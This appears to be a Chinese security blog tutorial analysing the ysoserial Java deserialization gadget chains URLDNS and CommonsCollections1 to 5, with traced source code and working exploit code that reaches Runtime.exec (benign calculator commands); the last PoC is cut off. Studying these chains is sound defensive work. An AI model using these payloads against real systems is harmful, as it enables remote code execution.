前言
本篇文章分析调试的是URLDNS以及CommonCollections系列
URLDNS
URLDNS作为ysoserial 系列最基础的链,作用还是蛮大的.具体作用如下:
判断当前环境是否存在反序列化安全问题
如果payload打失败了,是否有目标机环境中没有Payload中所需要的库或者java版本不对应
Gadget Chain
1 2 3 4 5
Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
示例POC以及分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
package demo;import java.io.FileInputStream ;import java.io.FileOutputStream ;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS { public static void main (String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://oehpvo.dnslog.cn" ); Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 2 ); hashMap.put(url, "lih3iu" ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output" )); ois.readObject(); } }
跟进HashMap.readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings ("unchecked" ) K key = (K) s.readObject(); @SuppressWarnings ("unchecked" ) V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
跟进hash函数
1 2 3 4
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
将key设置为一个URL对象,调用其对应的hashCode函数,即java.net.URL#hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
public final class URL implements java .io .Serializable {transient URLStreamHandler handler; private int hashCode = -1 ; public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; } }
可以看到hashCode的值默认是-1,在hashCode函数中如果hashCode为1,则通过handler.hashCode重新计算hashcode,跟进hashCode函数
java.net.URLStreamHandler#hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } ... }
通过getHostAddress函数获取IP,最终进行DNS请求,并且这里只能传域名,不能传IP,原因如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
private static InetAddress[] getAllByName(String host, InetAddress reqAddr) throws UnknownHostException { ...... if (Character.digit(host.charAt(0 ), 16 ) != -1 || (host.charAt(0 ) == ':' )) { byte [] addr = null ; int numericZone = -1 ; String ifname = null ; addr = IPAddressUtil.textToNumericFormatV4(host); if (addr == null ) { int pos; if ((pos=host.indexOf ("%" )) != -1 ) { numericZone = checkNumericZone (host); if (numericZone == -1 ) { ifname = host.substring (pos+1 ); } } if ((addr = IPAddressUtil.textToNumericFormatV6(host)) == null && host.contains(":" )) { throw new UnknownHostException(host + ": invalid IPv6 address" ); } } else if (ipv6Expected) { throw new UnknownHostException("[" +host+"]" ); } }
很明显这在里面进行了IP的限制,所以我们只能传域名进行dns请求
二次hashcode更改的原因
在poc中有一段这样的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public class URLDNS { public static void main (String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://oehpvo.dnslog.cn" ); Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 2 ); hashMap.put(url, "lih3iu" ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output" )); ois.readObject(); } }
这里有一段两次更改hashCode值的代码,这里解释下原因:
跟进hashMap.put
1 2 3
public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
再跟进hash函数
1 2 3 4
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
跟到这里其实已经可以发现这正是我们Gadget chain需要用到的步骤,并且在hashcode为-1的时候,会进行一次dns请求,这里为了防止本机与目标机器发送的dns请求混淆,所以先将hashcode设置为一个非-1的数字,put完毕,再设置回来hashcode为-1,然后在反序列化的过程因为hashcode的值为-1,触发dns请求。
ysoserial作者写的代码都很巧妙,我们可以通过这个project的代码来学到很多姿势
POC如下:
这里同样做了防本地与目标机dns请求混淆,不过这个方法更有趣些
这里通过子类重写了URLStreamHandler的getHostAddress方法,使其调用时放回null
1 2 3 4 5 6 7 8 9 10 11
static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } } }
所以当handler.hashCode调用getHostAddress时实际调用的重写后的getHostAddress,返回了null,所以本机上并不会发送dns请求,又因为handler是transient类型,所以我们自己重写的handler并不会生效 ,在反序列化时实际调用的还是本来的URLStreamHandler,同样可规避本机dns请求与目标机dns请求的混淆。
CommonsCollections1
Gadget Chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
主要分析部分为
1 2 3 4
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()
后面触发RCE过程前面文章有分析过,就不赘述了。
首先跟进LazyMap类的get方法
1 2 3 4 5 6 7 8 9
public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
代码逻辑为如果在map中不存在get函数中的参数key,直接调用this.factory.transform,这里的transform就符合了我们需要的rce的点了
我们可以直接把factory赋值为ChaindedTransformer去触发就可以了
UmBY6O.png
跟进下如何给factory进行赋值
1 2 3 4 5 6 7 8 9 10 11 12
public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = factory; } }
通过decorate函数传入Map和一个Transformerl类型的factory,然后调用LazyMap的构造函数把ChaindedTransformer赋值给this.factory,最终在LazyMap的get方法中进行transformer函数调用完成RCE。
所以接下来该寻找的就是如何去触发LazyMap.get这个函数了
ysoserial的作者在jdk的内置类中找到了AnnotationInvocationHandler这个类,跟进invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class ) { return this .equalsImpl(var3[0 ]); ........ switch (var7) { case 0 : return this .toStringImpl(); case 1 : return this .hashCodeImpl(); case 2 : return this .type; default : Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException(this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
把重点代码单拿出来
1
Object var6 = this .memberValues.get(var4);
如果在this.memberValues变量可被赋值为LazyMap,那么就可以触发后面的一切RCE链,跟进一下memberValues的赋值
1 2 3 4 5 6 7 8 9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class ) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
在var1为注释类的情况下,可将memberValues变量赋值为var2,我们可通过如下代码进行LazyMap的传入
1 2 3
final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ];constructor.setAccessible(true ); InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class , lazyMap ) ;
并且AnnotationInvocationHandler是InvocationHandler的子类,实现了InvocationHandler中的invoke方法
1 2 3 4 5
public interface InvocationHandler { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; }
所以这其实是一个动态代理,我们可以先声明一个动态代理对象传给AnnotationInvocationHandler,当此对象调用任意的方法,都会先调用动态代理类的invoke方法,而我们将动态代理类中的memberValues变量设置为LazyMap的话,最终就实现了LazyMap.get的调用。
动态代理部分代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
final Map lazyMap = LazyMap.decorate(innerMap, chain);final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ];constructor.setAccessible(true ); InvocationHandler testInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class , lazyMap ) ; Object testMap = Proxy.newProxyInstance( testInvocationHandler.getClass().getClassLoader(), new Class[]{Map.class }, testInvocationHandler ) ;InvocationHandler Invoation1 = (InvocationHandler) constructor.newInstance(Override.class , testMap ) ; return Invoation1;
最后在readObject方法中触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
在readObject中memberValues调用entrySet方法,触发invoke,进而触发LazyMap.get实现RCE
最后简述下最后的调用链
反序列化readObject方法触发memberValues.entrySet
进一步触发invoke方法及invoke中的get函数
触发lazyMap.get和get函数中的transform完成RCE
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
package ysoserial.payloads;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import org.aopalliance.intercept.Invocation;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;public class testCommonsCollections1 { public static Object getObject () throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class }, new Object[]{"open -a Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, chain); final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler testInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class , lazyMap ) ; Object testMap = Proxy.newProxyInstance( testInvocationHandler.getClass().getClassLoader(), new Class[]{Map.class }, testInvocationHandler ) ; InvocationHandler Invoation1 = (InvocationHandler) constructor.newInstance(Override.class , testMap ) ; return Invoation1; } }
大概简述下最后的调用链
Effect
Um5KFf.png
CommonsCollections2
Gadget Chain
1 2 3 4 5 6 7 8
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
跟进分析
跟进PriorityQueue类中readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
可以看到queue[i]=s.readObject也就是queue的值是由我们控制的,我们可以在前面通过writeObject进行写入
接着跟进heapify函数
1 2 3 4
private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
跟进siftDown
1 2 3 4 5 6
private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
这里会进行一个判断如何comparator不为null则进入siftDownUsingComparator函数,如果没有就进入siftDownComparable函数,同样,我们可控的值为x
看一下comparator的赋值逻辑
1 2 3 4 5 6 7 8 9
public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException(); this .queue = new Object[initialCapacity]; this .comparator = comparator; }
可以看出这里是在实例化的时候直接进行赋值
接着跟进siftDownUsingComparator函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
在这行代码中出现了我们可控的值
1
if (comparator.compare(x, (E) c) <= 0 )
跟进compare函数
1 2 3 4 5
public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
transformer赋值
1 2 3 4
public TransformingComparator (Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; }
出现了熟悉的transform函数,并且this.transformer可控,意味着我们可以执行任意类的任意方法了。
不过在ysoserial中的commonscollection2中对于transformer的调用并非采用的是ChainedTransformer的transform进行循环调用产生RCE,而是用了一个新的有趣的攻击手法:TemplatesImpl 类
跟进Templateslmpl类中newTransformer函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
跟进getTransletInstance函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
跟进defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
再回到前面的逻辑
1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
可以看出这里的逻辑为先将设定好的bytecode还原为class,再通过newInstance进行实例化,那么由于bytecode是由我们自己定义的,所以这里就存在了恶意代码的触发,例子如下:
这里选取的是createTemplateImpl类中的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
final T templates = tplClass.newInstance();ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class )) ; pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class .getName ()) ;String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" ,"\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
上述代码首先是拿到了自己写的一个StubTransletPayload类,并且设置了static initializer,最后将其父类设置为abstTranslet类
这样在每次每次初始化该类的时候都会自动去调用static部分的代码,也就是我们通过clazz.makeClassInitializer().insertAfter设置的代码
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
public Queue<Object> getObject (final String command) throws Exception {final Object templates = Gadgets.createTemplatesImpl(command);final InvokerTransformer transformer = new InvokerTransformer("toString" , new Class[0 ], new Object[0 ]);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 ,new TransformingComparator(transformer));queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" );queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue;}
Questions
在CommonsCollection这条链中其实有很多细节可以学习一下
比如为什么要通过反射来将构造好的template传入
下面针对以上这个问题进行一些跟进分析
其实对于这个问题来说,不通过反射传入template,直接传入也是可以的,修改后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
public Queue<Object> getObject (String command) throws Exception {final Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app" );final InvokerTransformer transformer = new InvokerTransformer("toString" , new Class[0 ], new Object[0 ]);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 ,new TransformingComparator(transformer));queue.add(templates); queue.add(templates); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); return queue;}
也就是说其实不通过反射来更改数组中的值也是可以的,不过如果说换种写法,第二个add里面传入的是数字或者字符串,则会爆出
1 2 3 4 5 6
queue.add(templates); queue.add(1); The method 'newTransformer' on 'class java.lang.Integer' does not exist
这是因为在第二次add后会有一次位置对象交换
Uv9Z5t.png
这里直接是把queue数组中的第一个元素更改为了1,所以在下次newTransformer方法调用的时候,会先掉用Integer类的newTransformer,导致报错,终止后面TemplateImpl类的正常调用,所以这里放过来也能理解了为什么在ysoserial中templatesImpl的设置会是通过反射调用的,为了防止add函数产生的位置交换,可以先拿到queue这个数组,直接更改数组里面的值就好了,这样就可以更确保我们的第一个值一定是TemplateImpl这个类。
Effect
UMBMhd.png
CommonsCollections3
Gadget Chain
1 2 3 4 5 6 7 8 9 10 11 12 13
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter#TrAXFilter() InstantiateTransformer.newInstance() TemplatesImpl.newTransformer() ... Runtime.exec()
Exploit Code
对于commonscollection3来说,其实是和1,2差不多的,只不过是在中间换了一个任意方法执行的类,并且拿了1的开头和2的结尾进行拼凑,最终触发了命令执行
下面主要来跟进分析下中间的链接部分
在上面2的命令执行我们是通过调用newTransformer函数触发static部分内的字节码完成命令执行,也就是通过InvokerTransformer来调用newTransformer方法实现对后面的一系列过程
在commonscollection3中采用的是TrAXFilter+InstantiateTransformer来取代InvokerTransformer
跟进TrAXFilter
1 2 3 4 5 6 7 8
public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
可以看到在这个类的初始化中可以进行newTransformer方法的调用,我们要做的就是将这个类进行实例化就可以了
跟进InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } .......
可以看到InstantiateTransformer#transform方法中有着对传入类实例化的操作,我们只要将TrAXFilter穿进去就可以了
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
public Object getObject (final String command) throws Exception {Object templatesImpl = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app" ); final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1 ) });final Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class ), new InstantiateTransformer (new Class[] { Templates.class }, new Object[] { templatesImpl } )};final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class ) ;final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler;}
CommonsCollections4
Gadget Chain
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
InstantiateTransformer.newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
...
Exploit Code
commonscolletion4的话其实和前面也差不多,也是分别从2和3中拿出一部分进行拼接,用了2前面的+3后面的
主要跟进分析一些新的利用点,跟进TrAXFilter类,构造方法如下
1 2 3 4 5 6 7 8
public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
在这里可以看到关键的调用代码
1
_transformer = (TransformerImpl) templates.newTransformer();
所以只要将构造好的恶意templates传入就可以了
接着跟进InstantiateTransformer#transform
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public T transform (Class<? extends T> input) { try { if (input == null ) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object" ); } else { Constructor<? extends T> con = input.getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException var4) { throw new FunctorException("InstantiateTransformer: InstantiationException" , var4); } catch (IllegalAccessException var5) { throw new FunctorException("InstantiateTransformer: Constructor must be public" , var5); } catch (InvocationTargetException var6) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception" , var6); } }
此方法作用为对传入的类进行实例化,通过此transformer方法我们可以将TrAXFilter实例化,调用构造方法,来完成后续恶意代码的执行,那么再配合ChainedTransformer类的transform方法就完整了整条链的构造。
Questions
在尝试简化代码的时候遇到了这样的问题
简化的代码如下:
aFvZlR.png
对应报错
aFv1te.png
跟进后发现是由于java的SecurityManager检测产生的报错,
以下为oracle官方对SecurityManager的解释
A security manager is an object that defines a security policy for an application. This policy specifies actions that are unsafe or sensitive. Any actions not allowed by the security policy cause a SecurityException to be thrown. An application can also query its security manager to discover which actions are allowed. Typically, a web applet runs with a security manager provided by the browser or Java Web Start plugin. Other kinds of applications normally run without a security manager, unless the application itself defines one. If no security manager is present, the application has no security policy and acts without restrictions.
来看下ysoserial中是如何规避这个问题的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
public Queue<Object> getObject (final String command) throws Exception {Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app" ); ConstantTransformer constant = new ConstantTransformer(String.class ) ; Class[] paramTypes = new Class[] {String.class } ; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes" ); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs" ); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , new TransformingComparator(chain)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(constant, "iConstant" , TrAXFilter.class ) ; paramTypes[0 ] = Templates.class ; args[0 ] = templates; return queue;}
二者的区别是简化的是直接将paramTypes和args在初始化中直接赋值为了templates,原版则是先通过一个copied的数组,在数组里重新进行值的更改,来绕过yso里面SecurityManager的check。
(关于这个地方还是有点细节疑问吧 以后有时间碰到接着回来理顺一下)
CommonsCollections5
Gadget Chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
Exploit Code
主要是换了一个触发点,后面的还是原来的思路
触发的地方还是LazyMap#get,接着往前回推调用get的地方
TiedMapEntry.class
1 2 3
public Object getValue () { return this .map.get(this .key); }
如何将this.map赋为LazyMap就接上了之前的调用,接着找下getValue的调用
1 2 3
public String toString () { return this .getKey() + "=" + this .getValue(); }
接下来寻找toString的调用,java的toString和php类似,在对象被当作字符串调用时,触发toString方法
BadAttributeValueExpException.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
取出val变量,进行一系列字符串操作,如果我们把这个val变量设置为TiedMapEntry类的话,在程序运行到if(valObj == null)的时候就会触发toString,完成一系列调用,不过这个val变量是私有的,需要通过反射来进行设置变量,
调用链
通过取出val中的TiedMapEntry
触发toString函数
触发getValue函数
触发this.map.get(this.key)
Map类为lazymap,key随意
触发this.factory.transform(key),factory为ChainedTransformer类
最终执行命令
最终完整poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
package demo;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.map.HashedMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.util.HashMap;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.lang.reflect.Constructor;import java.util.Map;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class test implements Serializable { public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec" , new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); 